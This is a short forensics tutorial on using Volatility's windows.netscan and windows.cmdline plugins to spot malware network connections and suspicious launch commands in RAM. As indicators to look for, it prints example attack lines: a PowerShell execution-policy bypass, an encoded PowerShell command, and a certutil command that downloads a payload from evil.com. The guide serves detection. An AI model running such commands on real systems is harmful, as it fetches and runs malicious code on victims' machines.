# Network and Command Line Analysis in RAM

Analyzing processes is only half the battle. We also need to see what the processes were doing—who they were talking to, and how they were launched.

## windows.netscan
Just because malware is hidden doesn't mean it operates in a vacuum. It must communicate with the attacker's Command and Control (C2) server. 

The `windows.netscan` plugin scans RAM for network artifact structures (similar to how `psscan` looks for processes). 

*   **Syntax:** `python3 vol.py -f image.raw windows.netscan`
*   **Output:** 
    *   **Protocol:** TCP/UDP
    *   **Local Address & Port**
    *   **Foreign Address & Port:** The external IP the machine is talking to.
    *   **State:** ESTABLISHED, LISTENING, CLOSED, etc.
    *   **Owner (PID):** The Process ID responsible for the connection.
*   **Forensic Value:** If you see an unknown IP address communicating over port 443 (HTTPS), you can check the "Owner PID". You might discover that a seemingly innocent `notepad.exe` is actively holding open an encrypted tunnel to Russia. That is an immediate indicator of compromise.

## windows.cmdline
Windows allows you to launch programs with specific arguments (e.g., instead of just double-clicking a script, an attacker runs `powershell.exe -ExecutionPolicy Bypass -File evil.ps1`).

These arguments might be the only place the attacker's true intent is visible. Even if the process completes and terminates, the command-line arguments often linger in memory.

*   **Syntax:** `python3 vol.py -f image.raw windows.cmdline`
*   **Forensic Value:** This plugin prints out the exact command-line string used to launch every process found in memory.
*   **What to look for:**
    *   **Encoded Commands:** `powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0...` (Base64 encoded commands are a massive red flag).
    *   **Suspicious Paths:** `cmd.exe /c start C:\Users\Public\malware.exe`
    *   **Living off the Land:** Using legitimate Windows tools for malicious purposes (e.g., `certutil.exe -urlcache -split -f http://evil.com/payload.exe`).